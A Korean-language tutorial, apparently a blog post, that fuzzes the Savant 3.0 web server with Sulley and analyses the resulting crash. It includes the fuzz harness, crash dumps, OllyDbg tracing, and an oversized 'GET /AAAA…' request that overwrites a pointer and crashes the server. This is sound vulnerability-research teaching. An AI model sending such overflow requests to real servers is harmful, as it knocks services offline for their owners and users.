Sulley - 2
Savant는 윈도우용 오픈소스 웹 서버로 버전 별로 여러 알려진 취약점이 존재한다. Savant 3.0에는 Buffer Overflow 취약점이 존재하는 데, 이를 Sulley 퍼저를 이용하여 퍼징 테스트를 하겠다.
먼저 Savant 3.0을 설치한다. http 프로토콜은 Sulley 퍼저에 기본적으로 내장되어 있으므로 이를 불러와 사용해도 괜찮다. 우리는 이미 알려진 취약점에 대해서 퍼징 테스트를 수행하므로 편의상 취약 요소를 겨냥한 테스트를 진행한다.
requests/http.py
from sulley import *
s_initialize("HTTP")
s_group("verbs", values=["GET", "READ", "POST", "TRACE"])
if s_block_start("body", group="verbs"):
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s_delim(".")
s_string("1")
s_static("\r\n\r\n")
s_block_end("body")
httpfuzz.py
from sulley import *
from requests import http
def init_message (sock):
init = 'GET /index.html HTML/`.`\r\n\r\n'
sess = sessions.session(session_filename="audits/http.session")
target = sessions.target("10.0.2.15", 80)
target.netmon = pedrpc.client("10.0.2.15", 26001)
target.procmon = pedrpc.client("10.0.2.15", 26002)
target.procmon_options = {"proc_name":"Savant.exe"}
sess.add_target(target)
sess.pre_send = init_message
sess.connect(sess.root, s_get("HTTP"))
sess.fuzz()
Start Fuzzing
퍼징 테스트를 시작하고 얼마 지나지 않아 Violation이 발생하는 것을 확인할 수 있다.
Test case | Crash synopsis | Captured Bytesever |
---|---|---|
000140 | Savant.exe:0040a2e5 mov dword [edx+0x24],0x0 from thread 1828 caused access violation | 2903 |
001263 | Savant.exe:00409167 mov ecx,[eax] from thread 2212 caused access violation | 973 |
Test Case 140의 Crash Dump를 살펴보자.
Savant.exe:0040a2e5 mov dword [edx+0x24],0x0 from thread 1828 caused access violation
when attempting to write to 0x00004165
CONTEXT DUMP
EIP: 0040a2e5 mov dword [edx+0x24],0x0
EAX: 00e8df60 ( 15261536) -> HTTP/1.1 404 Could not find the requested element (stack)
EBX: 00912978 ( 9513336) -> $P@`BA(\@BA (heap)
ECX: 0041b32c ( 4305708) -> Content-Type: text/html (Savant.exe.data)
EDX: 00004141 ( 16705) -> N/A
EDI: 00000000 ( 0) -> N/A
ESI: 00912978 ( 9513336) -> $P@`BA(\@BA (heap)
EBP: 00e8e160 ( 15262048) -> W@AAAAx)C:\Savant\Root wHTTP/1.1(7(rqDqDqMqt.qPPMqx)d|.qt (stack)
ESP: 00e8dba8 ( 15260584) -> w404
Error 404: File Not Found
Ollydbg를 켜서 해당 주소로 이동(ctrl + g –> 0040a2e5)해보자.
0040a2e5
에 브레이크 포인트를 걸고 프롤로그를 찾아보자. 0040a0bd
인 것을 확인할 수 있다. 함수 시작 지점에도 브레이크 포인트를 걸어놓고 network_monitor로 저장해둔 패킷을 확인하면 GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
와 같이 요청했다는 것을 확인할 수 있다. 이제 브라우저를 실행하여 해당 테스트 코드를 수행하자.
브레이크 포인트에서 부터 코드를 진행하면 오류 처리를 위해서 CreateFileA 함수로 C:\Savant\Error\404.HTML
파일을 읽는 것을 볼 수 있다. 그 후 Response 메시지를 구성한다. Content-Type을 구성하기 위해서 코드를 진행하던 중 Violation이 발생하는데 아래가 해당 코드이다.
0040A2E2 |. 8B55 14 MOV EDX,DWORD PTR SS:[EBP+14]
0040A2E5 |. C742 24 00000>MOV DWORD PTR DS:[EDX+24],0
[EBP+14] –> [00D8E174]에 저장된 값 4141
(overflow되어 기존 저장된 주소 값을 덮어씀)을 읽어 EDX에 넣고 [EDX+24]의 값을 불러오려던 중 해당 주소는 접근할 수 없는 주소이므로 Violation이 발생(서버 데몬 종료를 통한 DoS 공격)되는 것을 알 수 있다.